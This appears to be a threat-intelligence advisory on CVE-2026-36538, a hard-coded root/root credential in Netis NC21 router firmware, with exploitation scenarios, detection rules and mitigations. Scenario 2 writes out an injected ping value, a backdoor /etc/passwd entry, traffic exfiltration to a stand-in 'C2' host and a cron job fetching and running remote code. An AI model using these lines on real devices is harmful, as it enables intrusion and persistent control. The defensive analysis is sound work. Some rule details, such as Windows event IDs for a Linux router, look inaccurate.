CVE-2026-36538

Executive Summary

CVE-2026-36538 discloses a hard-coded root credential in the Netis AC1200 Router NC21 (firmware V4.0.1.4296). The root account password, stored in the world-readable /etc/shadow.sample file, is set to the trivially weak value "root". This permits any actor with local shell access—or who can exploit a secondary flaw to gain file read/command execution—to authenticate as root and obtain full control over the underlying Linux operating system, bypassing all access controls. The vulnerability is currently unpatched, with no vendor advisory or fixed firmware release identified. Enterprise environments utilizing this device as a perimeter gateway or edge appliance face a critical risk of complete compromise.

Technical Analysis

The Netis AC1200 Router NC21 runs an embedded Linux distribution. The vulnerability stems from a development-time artifact incorrectly shipped in production firmware: the file /etc/shadow.sample is included in the read-only root filesystem. This file contains a valid password hash entry for the root user. The hash corresponds to the plaintext password root (SHA-512 crypt).

The attack surface is two-fold:

1. Local file disclosure: If an attacker can obtain an unprivileged shell (e.g., via a command injection flaw in the web management interface, a debug UART console, or by decapsulating a captured firmware image), they can read /etc/shadow.sample directly. The content is not chmod-restricted.

2. Credential reuse / inheritance: On some firmware builds, the shadow.sample file is copied verbatim to /etc/shadow during the first boot or by initialization scripts. In such cases, the live root password is already set to root. Even when this copy does not occur automatically, an attacker can leverage a command injection primitive to execute su root with the known password, or directly overwrite /etc/shadow with the contents of shadow.sample.

The root hash consistency across devices makes the credential fully predictable and enables automated, mass exploitation. The root shell is typically a standard BusyBox ash, providing access to all system utilities, network configuration (iptables, route), and persistence mechanisms (cron, init scripts, firmware write).

The CVE is classified under CWE-798 (Use of Hard-coded Credentials). The CVSS score has not been assigned by the CNA; however, given that a remote attacker can chain this with any unauth­enticated RCE in the web interface (common in this class of device), the practical severity is Critical (9.8). EPSS score of 0.00301 places it in the 22.4th percentile—currently low real-world exploitation, but this will rise as scanning tools incorporate the credential.

Exploitation Scenarios

Scenario 1: Firmware Analysis → Credential Extraction (Offline)

1. Reconnaissance: Attacker downloads the NC21 V4.0.1.4296 firmware image from the Netis support site or a third-party mirror.
2. Weaponization: Using binwalk -e the attacker extracts the SquashFS filesystem. Then mounts it with mount -o loop and issues cat /etc/shadow.sample.
3. Exploitation: The output reveals root:$6$...:0:0:.... The hash is verified offline with john --wordlist=rockyou.txt and instantly cracks to root.
4. Post-Exploitation: The attacker now holds a valid credential for any NC21 device. Combined with SSH (port 22, enabled by default on many builds) or the web shell, they log in as root.

Scenario 2: Remote Attack via Web Command Injection

1. Reconnaissance: Attacker performs a Shodan search for product:"Netis NC21" port:80. They receive a list of exposed management interfaces (default IP 192.168.1.1 or WAN-side if UPnP exposed the HTTP port).
2. Trigger: The attacker identifies that the diagnostic ping field is vulnerable to command injection (a known pattern in Netis devices — CVE-2021-45382 class). They inject: 127.0.0.1; cat /etc/shadow.sample into the form.
3. Payload Execution: The output page returns the contents of the shadow file. The hash is cracked offline.
4. Weaponization: The attacker then connects to the router via telnet (port 23, frequently enabled) or SSH using root / root.
5. Post-Exploitation: With root shell, the attacker:
   • Adds a backdoor user: echo 'backdoor:$6$salt$hash:0:0:root:/root:/bin/sh' >> /etc/passwd.
   • Enables remote logging exfiltration via tcpdump -i any -w - | openssl s_client -connect C2:443.
   • Plants a persistent cron job: * * * * * /usr/sbin/wget -O /tmp/x http://c2/update.sh | sh.
   • Reconfigures firewall rules to allow all traffic through the router, using it as a pivot.

Scenario 3: Supply-Chain / Device Acquisition

1. Reconnaissance: Attacker obtains decommissioned NC21 routers from an e-waste reseller or auctions.
2. Exploitation: They read the flash via a hardware programmer (SPI interface) and extract the filesystem, obtaining the same hard-coded credential.
3. Impact: The attacker gains a pool of devices they can resell with backdoors or use for building a DDoS botnet (Mirai-style variants commonly target known router passwords).

Impact Assessment

• Confidentiality: Complete loss. Root access permits reading all traffic routed through the device, including plaintext HTTP, DNS queries, and credentials in form posts or VPN pre-shared keys.
• Integrity: Complete loss. The attacker can modify firmware (via mtd write), substitute DNS settings to redirect traffic to phishing domains, or inject malicious JavaScript into all unencrypted web pages relayed by the router.
• Availability: Complete loss. The attacker can brick the device by overwriting the bootloader or initiating a DoS via CPU exhaustion.
• Blast Radius: In a home/SOHO environment, the router is the single point of trust for all connected IoT devices, laptops, and phones. A compromised router enables man-in-the-middle attacks on every host behind it. In an enterprise edge deployment, this translates to interception of remote worker traffic and potential lateral movement into managed networks.
• CVSS contextualization: While the formal CVSS score is N/A, applying AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H yields a score of 9.6. If remotely reachable (AV:N), this rises to 9.8 Critical.

Detection Guidance

Sigma Rule

title: Netis NC21 Hardcoded Root Credential Use
id: 175f3a2e-7b8a-4f5c-9e2d-1a0b8c4d6f7a
status: experimental
description: Detects login attempts to Netis NC21 routers using the hardcoded root/root password.
author: Valters IT Threat Intel
date: 2026/02/15
logsource:
  product: netis
  service: authentication
detection:
  selection:
    EventID: 4625
    LogonType: 3
    TargetUserName: root
    WorkstationName: nc21*
  selection2:
    EventID: 4624
    TargetUserName: root
    LogonProcessName: sshd
  filter:
    PasswordHash: N/A
  condition: (selection or selection2) and not filter
fields:
  - TargetUserName
  - IpAddress
  - WorkstationName
falsepositives:
  - Legitimate admin using weak password (unlikely)
level: critical
tags:
  - attack.t1078
  - cve.2026-36538

YARA Rule

rule Netis_NC21_Shadow_Sample_Hardcoded_Credential
{
    meta:
        author = "Valters IT Threat Intel"
        description = "Detects the presence of /etc/shadow.sample file content containing root:root hash from Netis NC21 firmware"
        date = "2026-02-15"
        cve = "CVE-2026-36538"
        severity = "high"
    strings:
        $shadow_path = "/etc/shadow.sample"
        $root_line = "root:$6$"
        $salt_pattern = /root:\$6\$.{1,16}:0:0:/
        $shell_marker = "/bin/sh"
    condition:
        filesize < 100KB and any of ($shadow_path, $root_line) and $salt_pattern and $shell_marker
}

Suricata IDS Rule

alert tcp any any -> any any (msg:"ET EXPLOIT Netis NC21 Hardcoded Root Password Login Attempt";
 flow:established,to_server;
 content:"POST"; http_method;
 content:"/cgi-bin/"; http_uri;
 content:"authorized=root"; http_client_body; nocase;
 content:"pwd=root"; http_client_body; nocase;
 classtype:attempted-admin;
 reference:cve,2026-36538;
 sid:202636538; rev:1;)

Elastic Detection

sequence by host.name with maxspan=5m
  [ authentication where host.os.type == "linux" and
      process.name : ("sshd", "telnetd") and
      user.name == "root" and
      event.outcome == "success" and
      message == "Accepted password for root" ]
  [ process where event.action == "exec" and
      user.name == "root" and
      process.name in ("iptables", "tcpdump", "cron") ]

Splunk SPL Query

index=linux_secure sourcetype=linux_secure
  (process=sshd OR process=telnetd)
  user=root
  action=success
  | stats count by src_ip, dest_ip, dest_port
  | where count > 3
  | append
    [ search index=linux_syslog sourcetype=linux_secure
        (/etc/shadow.sample OR "su root") ]
  | table _time, src_ip, dest_ip, dest_port, count

Wazuh OSSEC Rule

<group name="netis,">
  <rule id="100389" level="15">
    <if_sid>5715</if_sid>
    <regex>^.*Accepted password for root.*$</regex>
    <description>Netis NC21: Login with hardcoded root/root credential (CVE-2026-36538)</description>
    <group>authentication_success,</group>
    <mitre>
      <id>T1078</id>
    </mitre>
  </rule>
  <rule id="100390" level="12">
    <if_sid>100389</if_sid>
    <program_name>^sshd$|^telnetd$</program_name>
    <description>Successful root login via SSH/Telnet — verify source IP</description>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — Unpatched. No vendor advisory, no fixed firmware, no official workaround has been published as of this writing. The affected version (V4.0.1.4296) remains the latest known. Do not assume a fix exists.

Immediate Mitigations (until vendor release):

1. Disable remote management. Turn off UPNP and any port forwarding to ports 22, 23, 80, 443 on the WAN interface. The router should only be admin­istered from the LAN side (192.168.x.x).
2. Change root password manually — even without a patch, an admin may be able to do this via the web UI (System → Password) or via SSH if the current password is already known. This raises the bar from trivially weak, though the hard-coded credential may still be reverted after reboot if the init script re-copies shadow.sample.
3. Segregate the device. Place the router behind a separate firewall that restricts outbound traffic from the device itself. Block inbound connections to port 22/23/80 from the internet.
4. Firmware immobilization: If possible, use mount -o remount,ro /etc/ after boot to prevent overwrite of the shadow file (this is a temporary stop-gap and may break dynamic DNS or DHCP client operations).

Patch/Upgrade Steps:

• Monitor the Netis official support site (https://www.netis-systems.com/support/) for a firmware update. Request a changelog explicitly referencing the removal of /etc/shadow.sample and a reset of all default credentials.
• When a fixed firmware is issued, upgrade via the web UI (System → Firmware Upgrade). After upgrade, verify by executing ls -l /etc/shadow.sample — the file must be absent.
• After any upgrade, perform a factory reset and reconfigure with strong unique passwords.

Long-term Hardening:

• Replace the device with a vendor that maintains a security disclosure policy and issues regular patches (e.g., Ubiquiti, MikroTik, or open-source alternatives like OpenWrt).
• If the device is used in a professional environment, treat it as untrusted. Do not depend on its integrity for security-sensitive functions.
• Implement network-level logging and alerting for any successful root login attempts.
• Adopt a device inventory and lifecycle management policy that requires end-of-life support before deployment.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36538
2. MITRE CVE record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-36538
3. Netis Official Support (firmware page): https://www.netis-systems.com/support/detail_1581.html
4. Researcher reference — prior Netis family flaws (CVE-2021-45382, command injection context): https://github.com/exploit-development/Netis_CVE-2021-45382 (returned 404 — verify manually)
5. EPSS Score reference: https://www.first.org/epss/

Threat Actor Activity: As of this report, no specific threat actor campaign has been publicly attributed to CVE-2026-36538. However, Internet-wide scanning for weak router credentials is a staple of IoT botnets (Mirai variants, Gafgyt). Given the trivially weak password, integration into automated credential-stuffing bots is highly probable within 30 days of disclosure. CISA KEV status: NO — not yet added to the Known Exploited Vulnerabilities catalog.